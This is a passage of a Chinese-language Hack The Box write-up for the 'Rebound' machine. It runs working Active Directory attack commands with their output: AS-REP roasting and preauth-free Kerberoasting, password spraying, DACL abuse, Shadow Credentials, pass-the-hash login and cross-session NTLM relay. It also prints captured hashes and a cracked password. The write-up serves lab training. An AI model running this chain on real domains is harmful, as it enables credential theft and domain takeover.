516: rebound\Domain Controllers (SidTypeGroup)
517: rebound\Cert Publishers (SidTypeAlias)
518: rebound\Schema Admins (SidTypeGroup)
519: rebound\Enterprise Admins (SidTypeGroup)
520: rebound\Group Policy Creator Owners (SidTypeGroup)
521: rebound\Read-only Domain Controllers (SidTypeGroup)
522: rebound\Cloneable Domain Controllers (SidTypeGroup)
525: rebound\Protected Users (SidTypeGroup)
526: rebound\Key Admins (SidTypeGroup)
527: rebound\Enterprise Key Admins (SidTypeGroup)
553: rebound\RAS and IAS Servers (SidTypeAlias)
571: rebound\Allowed RODC Password Replication Group (SidTypeAlias)
572: rebound\Denied RODC Password Replication Group (SidTypeAlias)
1000: rebound\DC01$ (SidTypeUser)
1101: rebound\DnsAdmins (SidTypeAlias)
1102: rebound\DnsUpdateProxy (SidTypeGroup)
1951: rebound\ppaul (SidTypeUser)
2952: rebound\llune (SidTypeUser)
3382: rebound\fflock (SidTypeUser)
```

返回少量用户，因为在默认情况下，impacket-lookupsid将RID的最大值设置为4000。将这个限制增加到10000，并再次运行这个工具:

现在看到rid最多为7687的用户，这提供了大量的用户名样本。将所有的SidTypeUser条目保存到一个文件中，以供以后使用。

``` bash
impacket-lookupsid nan@10.10.11.231 10000 -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > usernames.txt

┌─[root@kali] - [~/hackthebox/machine/rebound] - [2542]
└─[$] cat usernames.txt                                                                                                                              [20:32:18]
Administrator
Guest
krbtgt
DC01$
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
batch_runner
tbrady
delegator$
```

#### AS-REP-Roasting with Kerberoasting

现在尝试识别易受AS-REP-roasting攻击的用户。在配置帐户时不要求Kerberos预身份验证，从而允许攻击者为这些用户请求加密的票据授予票据(tgt)，而不需要用户的密码，就会出现此漏洞。

[Impacket](https://github.com/fortra/impacket)的GetNPUsers.py工具可以为具有UF_DONT_REQUIRE_PREAUTH属性的用户检索票授予票(tgt)

``` bash
┌─[root@kali] - [~/hackthebox/machine/rebound] - [2543]
└─[$] impacket-GetNPUsers -usersfile usernames.txt rebound.htb/ -dc-ip 10.10.11.231                                                                  [20:34:38]
Impacket for Exegol - v0.10.1.dev1+20240403.124027.3e5f85b - Copyright 2022 Fortra - forked by ThePorgs

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ppaul doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User llune doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fflock doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jjones@REBOUND.HTB:95d51957aa3771dacc1664c6236c4055$d434f84d1d47433e95073960ed2980c385ae8f830686ef69bc2c0d9b23e197a2901986f89105ff750b722e9cb7086ad9d13c924e41e182cc4e8e0e646838397aa50e33c6356b24f860b4791cdaec04d57bc3f2734ab7749e42073aadfb097ea24a55dd4ae56f68d7f8cba78d1cdb8dcbeedb63f6c11dd6a813d6729a8c76666d9ff687a06b84fb1e6abdb4b92c9b372f44f0c8682f3f36dec2118efa0b81952041c2d180a8ebe0c77d47ea5da4344d1897d1f5b3b92e1618a39ebb94c0e55c457f84d5952f226890e2b1091dc656eb1e1ff16cbf4bb5a288683ea55e64c9491212260953e3574dfd0b9b
[-] User mmalone doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nnoon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ldap_monitor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User oorend doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User batch_runner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tbrady doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User delegator$ doesn't have UF_DONT_REQUIRE_PREAUTH set
```

jjones返回一个加密的TGT。不幸的是，它似乎无法破解

最近的[New Attack Paths? AS Requested Service Tickets](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/)表明，可以利用AS-REP-roastable用户来执行Kerberoasting，而无需预身份验证:

***但是，对于Kerberoasting，不需要访问会话密钥。只需要生成的ST，或者更准确地说，不使用请求帐户密钥保护的ST的加密部分。因此，如果将任何帐户配置为不需要预身份验证，则可以在没有任何凭据的情况下进行Kerberoast。***

对这种攻击的支持是在[Support for Kerberoasting without pre-authentication and ST request through AS-REQ #1413](https://github.com/fortra/impacket/pull/1413)中提交的，并且已经合并到当前的Impacket主分支中，但在本文时还没有作为正式版本推出。因此，将使用一个支持这种攻击的[impacket github分支](https://github.com/ThePorgs/impacket)，以及本文后面需要的其他一些攻击操作。所有与impack相关的命令都将使用此版本的工具执行。

``` bash
python3 -m venv impacket-fork
source ./impacket-fork/bin/activate
git clone https://github.com/ThePorgs/impacket.git
cd impacket
python3 setup.py install
```

现在，可以使用GetUserSPNs.py的-no-preauth选项来请求票据授予服务(Ticket Granting Service, TGS)票据，使用jjones的加密TGT

``` bash
(impacket-fork) [root@kali ~ ]$ GetUserSPNs.py -no-preauth jjones -request -usersfile /root/hackthebox/machine/rebound/usernames.txt rebound.htb/ -dc-ip 10.10.11.231
/root/impacket-fork/bin/GetUserSPNs.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.10.1.dev1+20231106.134307.9aa93730', 'GetUserSPNs.py')
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[-] Principal: Administrator - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$REBOUND.HTB$*krbtgt*$b7f4495dad8442753f659146$228b6f2a0f7a0b5319fe1c223e915352d84fa0fd83915cfe9d57a41915382f4413af126465af63450eff3f05284915e8dcbf94af88b3888cacdcac941de7981f3aa5246439f4186434e91be539bbefc017b1a6a13b07f996ae068586469ba1b8cfffb1091eeb7ed5480623478bd25e66c26d8893a1eff939d7f475549866856701801e2bdde297cf4030a0131532261136f738dff5d0e77fae4da3c64c9e5589a1a4349b88c7b97b75621350a0e6fe2d191c7b7a52dbc478e9442da0e4008007838cb14695bcc7a98bdb7c68a70fce74d5748fd13d017235cb451326443f100642e6c09570df22795bca436d292b3014e8d10a0c3fbb50911e6b88bb66b2232420d0eaace34f6aaf9847f5e684380de41ae1b70f4a975fa0acf8b2b5dbebff865232a3aba195f72dac905dba0ea55182f10cd6ccda43978273a4fae20b424c4414a2cd6b1e385637759db2a8e832e1d0e4c44207d97c16acad3e20e32b6b46d256023d8641207a419ca9fb23fcb995adfda0394405bb77a8d4d3d8a4ba22ae2370f7fa93b84827e4496537b22170d9f8af84b3c591a1759873114b6d4de1f984e25a2cd70e34a4bc33b956c74185aab15d844dda9f9b391bd0a017d3c836df34b7c9312a943e91dc956d20661fe752b4763dc2ed6a3e5bfb7d09f1546fd04b6d8577bce8781904491428db21c4e7acf83a359187f44b3bccca0e8c40dcef5541f1ffc767156411d96f6cf1746783b893605779d888b5ee1965a16d6304bac92942a95c66823af762bb8572ccb2ac1382f9002f3eb73ba82cafa13a5ee71fbd720ed8f966a03f5bc67201115a3a1c48db47177a9f4b95937191c42d33b14663e4d4c5d5093b523f92bd82d4087805e0c4c40cef24e63a3219d9a220a74dbb127bd29548a3d7c7c51475dd01feda149b79a1c2f0fdd4dfa40f24db7384bca5057dbf75b552b80551fddf73af319ee5afa5f88420e93e8e04247d3829105d00486424971b0b323da8cdbfc0d110ce1773346bfe2a0cd8b045b978848a48ae3b5d448f3baa4efbef9dcf337238211891e148a7f4d329f98f80039a926a25104e0211bfae00a1ba047897d9ad6149ae47031884879271cae4ee75b59fad20a90313ebc3bcf52002a8cca08a33282d809d5b52a5a5a49c7177161b760f3ed0b6178efbea5bd913efd2a941cba7a9458ab179f875a33447693664ce1ee28baa1cd5ea0fe48cb7b13411a953c5f78a9cce432028a67752a4734527898d74db5416390011305a2907fd2e8f5b38b4b647e32280ad835ad19bc5c1dc86f2f39e28ce305839365bc13e02b0b91ce0de3434f17056a3f68d2ebd62ca9bd3ab1a88f49769e75ae1cb38dd42ae74707f9af972bb068562d91ef79d7c335e5fa2b438778b9ab00f297899361591be01b1ebc128b37dff595e8bb1e0f028f9c7632b012d352e81c0b5660c2a6ef0a1a42967b7fae4c1abd09279
$krb5tgs$18$DC01$$REBOUND.HTB$*DC01$*$676eaed2d439c42a6527e613$edbd46f85fd04d663029ae0f38a60b6c4387f102e74f1c6f7afb3bcf7cfaf403315e95c3d44cfe92ad358163b825a5ec208914a3c57de024598f67a0e22c81cc12503d0d3d5c30d0af43fd829bad743551438c0ba471470f87f1d0d9b0f3679f5579698d805d16042bcf109d7eda65e2f7d11f82fb62fef7e437dc9a9f26ea6043475bab07bdc9f6ddd824550085b1fc4dfa5b8751efabf603c8b435f76c598cc492e0d01915068ea6137ada5233bd8446e81878206f757c1562e71ff7821c546a81117a5b7a0af14092f392d652c480236cc0c88a35dbe34ca858c5150756d6d75035265124659f99e107776d976b7b9cc93d1b6deba493c20e7782ce69f12a344b0559ba2a0db7a2febe7da4daa6d90f36f97250ce16191a758ee264a7c16803baafe2f767724c0f7c87525378ab80f7c63fdcf2ea6b27e1a7b7c774597f56efc798443e280621eb7506b12a54ece0cbca159f301767c76d97503b87c9a448d846901cbff3d2d28377b91a979e5349a591f11f23420853cd328b7446d13c60b1eeb701711fbe10cadbc13c6a35f5eed5de082adc6f2d20a4a7843c777a6709747c13bedaa1f3324bfce2f3593b3190c39afcce51426f8a1eff6c773d0100388505cffb856c083ece4f6331d06d1a57124bf220b639ac2c2dda020fc164845f9e53a529c7e135cdcfca76952b7ea35a463a04087f9af87e0fa025e033d3c986736c44dfa2f380b865e0ff970ad40abe53b9c8f1e166a7feea936fa9ff886217e50f8f8b4a55fc01bf26914c419adec47233c47a9bcf851aaf0c1f9c2e345459fe5ab037d6cbe457ff89e215ff91b8777b5e39422c5a884746e3176711897dae50f7ef0ccb6ff68ee602bf12902a2fb498f5e83196f9e1f9b07670c3264c2cd86161190e74563acd4140f2423b40a7436a0660338613796562de436a7a8445d5bdc5916873da5368749e9562317ff6f11e984b785a6dd96033270955599b0cd07cd6056a8ae4ae2a77402066306feed7280f063e7917df669a6abad3dec14ad87251a1145a6c3b3db3d4eb9e889846bc3a8daa27eac9dd0c144f90de20b6c258f47321bf7505bc290d0d4d719ff2438fd3b123dcaaa2be8f57e8d0596a11cc0b4f0e91c2950daf39a4cf712f40f23c9506cee7000b8a3ed18002d79b0abe23c26e3a4ac586f5a9f075f8e7ea41e8d0f3c51aae863c6ecdcbb46442f8283d8c8e9e30dbb975024b1ccf485fa537e970945f9600230b7cc794cdd395efa6c2ebd270f8a60af6aaa4a1c6403dd42286ea15a3d80b7e810628cdb8f75783fecc0493218fc934ae89f0687cac4e09982d8e5716a30c05e67986892448f2528d3dd6291c282e82db4a131924e6
[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: fflock - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$20941b976672bf739ab097ba01a8cfae$3a4367ed51eb98246925df381ddaf352c124bead33075606510e7a0a879a6a76ec2bdafc4cc5db9427d4ff5985a646b0bd20f666ab3e174dde613f4a9edd67c3d50631955fc2eb3fd69750a1c4da1642c9100bb187ab841ebe4766366462dd0fea6c8e05b14e862360ee97cd7637f3264ff4f3415eb353431cf8d8aed45afec6a3aaacf1e39dce01ef657213a50da924deca54853452d861fbc108ee0e49ecda8d698941b0d7151b3800149ef9937b668a9e76af6274f5e8c172dddfc916c53dd6e520b7e0edf95ab20729ad7f85ffeb218664f8dfd03a9c5addc226d3aba6ef054d2029c73c39cc3ca0fc895b329a9db84f699ef31b4fed7843749370971bbacc5f829b3721d16d182370ebcb728953d538cca54f908e0d5eb918eaeff7f2e2ee0b770736ccfb9aad2f725374c9057c9b8cb61d6cd262a93d997e1de62fe5c4a6b5c2bf80dd1bc8e4f82725516ab85a78d98fb87fcb7f78d61602f43f9b53c7463d7158d37f482c02178ef798b3b1badb4ae89e95f10363e82b373dd7d108f71c67768ce64a48388023190d0f7e6696946ad17ad5c3f3858081956f4ceae07da4fd80ccf6ef3b611a76fd51cf487fd3125f6c5e8ba9bc9c07f5fa1c1b1118af320d63425fdc28131b61bf1a5a6bc44b99506da168037a00dea3012d23818e1bf91cbe5bf6f4bae50d243d9a1b71a8de4cdace5c6b9557fb1c732b24507c41d1270f15e604fe7d4ca35b362e09bb75f41a8c070d9bc226e19ce50fa03e30f0907e43da8b063d0400fbb73494e010e7458a3d17e1b8cdd71e10d375a739bc47ef68234068caefafb4d932d755cef4f0c15a0883f35655fb552bb8157c54ab991773e6f349239abd8b0465e6a1c3710e34053b83a5e678b6c151162e1898f602579c85493a4561118e13b54245a8f11ac0e4e1515c8e49c3cf808fe3909b82d85b9ed08adf8fd8d7cdbcdd8419df7db382fb83c1b60ac147911cc1e36ec25daa024afa64d4b0b494271750157fc95cbb39bfa0d9f8f82bd2ca72a5b532b93423ed4e18548f622d0b58e75b15f474b13a167fe18a599dd2b85d0089598652b90d7143ed144dc87debf95ed91e9230ec9762649e1b684a3a2933eafc6e05cfa9c1c0beb61cbe0669bcc148dcc484a7b1f07c83c18203360efdc059f81dff14fcc5fea703f9eaaa51a1e7dec1e363d943c14965d14e76928f98c44e4882ecb4f990a6579e9fd031c50df44bc79fd68d79047c94f9eb8e6ccc1c77816d30ee6102309719e376309ad74ed19ca621e686a33277377b71e36d5d2e4163b352c846b5208f7ea97d2fa1f59b5ebbccc4b044c8b3f22b59192040530931ccc63c1607c1c35e04c0
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$6cab342633ff628cfcfac8c4$71fd68ad65f56c75f181aa22d1e803a739ff8f633f1096e1c59ac72c0cdaff8432bace2027c335b971a24d5f417ee30075f2996b2ae2e48698f9b30c9ba04891cb3ecffaba2f57aad6f6cee7a53aac3c301a6ba5689bae2c54a9ccc7f58d670ecebcac2234d0d22e5cfb48d4adc534fde9822464b980ee548ec9fecd7a42a225679fd2ec52bab1b0af038e2844489f2d2925e1b46dffed03e72fed1efcd84fb40029c17afec70e279209ca1383c9549bcdc80ab1f4aaa33f7665de2cef404ad8c3922bd1fcdd60371c8f0dbc72c65db6a40837cc6fae06c20a1999689788e67ea1a4cc7ec0ebff158090aeb2a8a2aaa64b3c6cf07c3a5dd84356f0733ae208ca4087f16f92306775f427e2fa11d4df609be59b58112177cba564bff5361f973693274529f5dac04139e8208467364d2b87404dc9cdda9daf3bf31eb53484d5afd414a7e3e4340d307079561b03b6bcce1547f4605ca96b5e1599d5681f2779222465ebae5911e3433208d3bc43240f77a3a757e02a7bdcbcf49d265622f85f2e525f902867665828d53768e169b0185548a7ddb7721541f974730b983fdb9b01ccb04561ac86264479c4e55a21cc51a39e36df0aeaa3cd983ecb453e964bc5b645211b6c0658188696a8ebc909999530b582ae8f3efa44924a86c4d705e473196d4edd1617a641f683cd4a7b8ff5436981d7b39d03a8bf189b238256ea7160f28bdb126a47f0dba95883d7c8f8e8e5acbc5562f8a08aa04ec03064b6bb215065f03028003f60782e5898b00f70086ab2a7718e3d382d8ffc73116b7ff2accba494b67bbbf0b7b0d1022ec0a7a00d78280380d208c8032edfd7d0e2bda779a4b4d513d90ac9c3395516bfd6fabe73ef6804d0a07c1bfe75b1a639fd671246ea4447cbeb392178382fee5321a2db0ce5dfabdb4d35e87c23b3668335a68bcaa9d22c45fedc9bc7b15af986196ff8353f618822e1fce7a07b85c38d20a19602a1b12d4bca45b92c671349073c629154aac7884cd7597ab80ccde050d6c349c280f7a9de6da94404b7600b0a55eefb2b132a093bd7574d367bb79e7bea8263a88882de510cf8d0e534678dddc6ab81dff055f1e56a1944f11a5a8a5b2e9ec20342cd1460544f63f1dbb6698dfd40a746828a8beded8056cb50765bb1dcffe8524536747556e2b3cf977aa32852c6579066383408c3917cc325a34d66f0c5f556d937dd7981485193a999fc669c756f4eb6ba354bac985ceb870e647a14e8afd70b1e52ec011ebb6c0f7b1b9e00e9b2f2548d0245185eedc967073c4f7f7b8ebc5c7775d4f1410e81f8999cfde4af7a61094d25d905b6800c7470d7e2324c01053e62cb20d5b10ac090c76d91
```

该命令成功运行并产生许多票据，包括ldap_monitor和delegator$的票据。做出一个有根据的猜测，DC01、krbtgt和delegate$票证是不可破解的，因此将重点放在ldap_monitor票证上。

将其保存到一个文件中，并将其提供给john:

``` bash
┌─[root@kali] - [~/hackthebox/machine/rebound] - [2556]
└─[$] john hash --show                                                                                                                               [20:59:33]
?:1GR8t@$$4u

1 password hash cracked, 0 left
```

#### Bloodhound & Powerview

使用[bloodhound.py](https://github.com/dirkjanm/BloodHound.py)远程枚举目标AD环境。调整集合查询(-c)以排除ObjectProps，因为它似乎会导致工具失败。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound1.5.png)

***Bloodhound的复杂性超出了本文的范围，但可以在HTB的[Active Directory Bloodhound](https://academy.hackthebox.com/course/preview/active-directory-bloodhound)模块中获得。***

``` bash
bloodhound-python -u ldap_monitor -p '1GR8t@$$4u' -d rebound.htb -dc dc01.rebound.htb --zip -c Group,LocalAdmin,RDP,DCOM,Container,PSRemote,Session,Acl,Trusts,LoggedOn -ns 10.10.11.231
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound1.png)

Bloodhound没有透露太多信息，但是，发现ServiceMgmt在Service Users组织单元(OU)上具有GenericAll，这可能导致[Descendant Object Takeover (DOT)](https://support.bloodhoundenterprise.io/hc/en-us/articles/17312347318043-GenericAll)。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound2.png)

然而，首先，需要找到一种方法来成为组的一部分或妥协组中的用户。
使用[powerview.py](https://github.com/aniqfakhrul/powerview.py)进行进一步的枚举。

这表明LDAP通道绑定设置被设置为"Always"，导致服务器放弃来自不提供令牌的客户端的任何连接。对于想要对LDAP/LDAPS执行的任何查询，也会发生这种情况。

通过-k标志绕过Kerberos身份验证的这个约束。

 - 确保系统时钟与服务器时钟同步，以便Kerberos正常工作:

``` bash
┌─[root@kali] - [~/hackthebox/machine/rebound] - [2557]
└─[$] ntpdate rebound.htb                                                                                                                            [20:59:52]
2024-04-06 04:17:13.7079 (-0500) +25202.758727 +/- 0.127430 rebound.htb 10.10.11.231 s1 no-leap
CLOCK: time stepped by 25202.758727
┌─[root@kali] - [~/hackthebox/machine/rebound] - [2558]
└─[$] powerview rebound.htb/ldap_monitor:'1GR8t@$$4u'@dc01.rebound.htb -k                                                                             [4:17:13]
Logging directory is set to /root/.powerview/logs/rebound.htb-dc01.rebound.htb
(LDAPS)-[dc01.rebound.htb]-[rebound\ldap_monitor]
PV > Get-DomainObjectAcl -Identity Servicemgmt
...
ObjectDN                    : CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
ObjectSID                   : S-1-5-21-4078382237-1492182817-2568127209-7683
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : None
ActiveDirectoryRights       : Self
AccessMask                  : 0x8
InheritanceType             : None
SecurityIdentifier          : oorend (S-1-5-21-4078382237-1492182817-2568127209-7682)
...
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound3.png)

通过Self权限，orend可以将自己添加到组中。虽然目前没有这个用户的任何凭据，但是可以通过netexec喷射ldap_monitor的密码，希望能找到匹配的。

``` bash
pipx install git+https://github.com/Pennyw0rth/NetExec

λ ~/hackthebox/machine/rebound/ netexec smb dc01.rebound.htb -u usernames.txt -p '1GR8t@$$4u' --continue-on-success
SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [-] rebound.htb\Administrator:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\Guest:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\krbtgt:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\DC01$:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\ppaul:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\llune:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\fflock:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\jjones:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\mmalone:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\nnoon:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [+] rebound.htb\ldap_monitor:1GR8t@$$4u
SMB         10.10.11.231    445    DC01             [+] rebound.htb\oorend:1GR8t@$$4u
SMB         10.10.11.231    445    DC01             [-] rebound.htb\winrm_svc:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\batch_runner:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\tbrady:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.10.11.231    445    DC01             [-] rebound.htb\delegator$:1GR8t@$$4u STATUS_LOGON_FAILURE
```

找到了oorend用户，这意味着现在可以将自己添加到组中。

回到powerview，这次是oorend。

``` bash
┌─[root@kali] - [~/hackthebox/machine/rebound] - [2559]
└─[$] powerview rebound.htb/oorend:'1GR8t@$$4u'@dc01.rebound.htb -k                                                                                   [4:24:53]
Logging directory is set to /root/.powerview/logs/rebound.htb-dc01.rebound.htb
(LDAPS)-[dc01.rebound.htb]-[rebound\oorend]
PV > Add-DomainGroupMember -Identity servicemgmt -Members oorend
[2024-04-06 04:25:11] User oorend successfully added to servicemgmt
```

#### Descendant Object Takeover

将自己添加到ServiceMgmt之后，现在在服务用户OU上拥有了GenericAll(也称为FullControl)。这允许将FullControl特权扩展到属于该OU的每个对象。在这种情况下，这些对象是winrm_svc和batch_runner:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound4.png)

为了执行攻击，使用dacledit.py，它也被打包到之前安装的[Impacket的分支](https://github.com/ThePorgs/impacket.git)中。

使用-inheritance标志，重写并扩展了当前的特权到子对象:

``` bash
(impacket-fork) [root@kali ~ ]$ dacledit.py rebound.htb/oorend:'1GR8t@$$4u' -k -dc-ip 10.10.11.231 -action write -rights FullControl -inheritance -principal oorend -target-dn "OU=Service Users,DC=rebound,DC=htb" -use-ldaps
/root/impacket-fork/bin/dacledit.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.10.1.dev1+20231106.134307.9aa93730', 'dacledit.py')
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[-] CCache file is not found. Skipping...
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20240406-043124.bak
[*] DACL modified successfully!
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound5.png)

 - 注意: 如果在这个阶段出现INSUFF_ACCESS_RIGHTS错误，请确保将oorend重新添加到ServiceMgmt组，因为该bxo的清理任务可能已经重置。

检查winrm_svc或batch_runner对powerview的权限，看到oorend现在对两个对象都有FullControl (GenericAll):

``` bash
(LDAPS)-[dc01.rebound.htb]-[rebound\oorend]
PV > Get-ObjectAcl -Identity winrm_svc -Where "SecurityIdentifier contains oorend"
ObjectDN                    : CN=winrm_svc,OU=Service Users,DC=rebound,DC=htb
ObjectSID                   : S-1-5-21-4078382237-1492182817-2568127209-7684
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : CONTAINER_INHERIT_ACE, INHERITED_ACE, OBJECT_INHERIT_ACE
ActiveDirectoryRights       : FullControl
AccessMask                  : 0xf01ff
InheritanceType             : None
SecurityIdentifier          : oorend (S-1-5-21-4078382237-1492182817-2568127209-7682)
```

使用FullControl权限，然后对winrm_svc执行[ShadowCredentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)攻击，因为这个名称暗示可能能够使用该帐户来恶意winrm连接到box中。

``` bash
λ ~/hackthebox/machine/rebound/ certipy-ad shadow auto -u oorend@rebound.htb -p '1GR8t@$$4u' -account winrm_svc -target dc01.rebound.htb -dc-ip 10.10.11.231 -k
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '9f14b32c-1290-2a13-ef11-ae83e76fe810'
[*] Adding Key Credential with device ID '9f14b32c-1290-2a13-ef11-ae83e76fe810' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '9f14b32c-1290-2a13-ef11-ae83e76fe810' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@rebound.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 4469650fd892e98933b4536d2e86e512
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound6.png)

检索到NT hash后，可以使用它来恶意入侵box。

``` bash
evil-winrm -i dc01.rebound.htb -u winrm_svc -H 4469650fd892e98933b4536d2e86e512
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound7.png)

#### cross-session relay

检查系统上运行的进程可以发现在session 1中运行的许多任务，这表明可能有另一个用户登录到该box中。

``` bash
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
385 32 12032 20824 2576 0 certsrv
462 18 2348 5588 392 0 csrss
267 16 1968 5168 516 1 csrss
361 15 3440 14940 5164 1 ctfmon
400 33 16388 25152 2652 0 dfsrs
158 8 1944 6356 2784 0 dfssvc
285 14 3992 13876 3756 0 dllhost
```

系统上经过身份验证的用户可以打开目标以进行cross-session攻击。为这个任务上传工具包，包括[KrbRelay](https://github.com/cube0x0/KrbRelay)和[RunasCs](https://github.com/antonioCoco/RunasCs)。

***虽然RunasCs在其Github版本中有预编译的可执行文件，但KrbRelay没有。该项目必须下载并在Windows机器上编译，这超出了本文的范围。确保使用最新版本，其中包括NTLM cross-session支持。***

使用RunAs，可以通过运行qwinsta来验证是否有人登录:

``` bash
.\RunasCs.exe oorend '1GR8t@$$4u' -l 9 "qwinsta"

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
>services                                    0  Disc
 console           tbrady                    1  Active
```

使用runa和KrbRelay的组合，可以强制来自tbrady的连接，这将生成hash。

为此，通过-ntlm指定NTLM身份验证，通过-session指定session号，并为具有正确权限的有效RPC服务指定CLSID，从README上列出的[默认值](https://github.com/cube0x0/KrbRelay#clsids)中选择(在Cross-Session Relay下，适用于Windows Server 2019)。

``` bash
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> ./RunasCs.exe oorend '1GR8t@$$4u' -
l 9 "c:\users\winrm_svc\documents\KrbRelay.exe -ntlm -session 1 -clsid 354ff91b-
5e49-4bdc-a8e6-1cb6c6877182 -port 10246"
[*] Auth Context: rebound\tbrady
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: c:\users\winrm_svc\documents\KrbRelay.exe
[*] Register com server
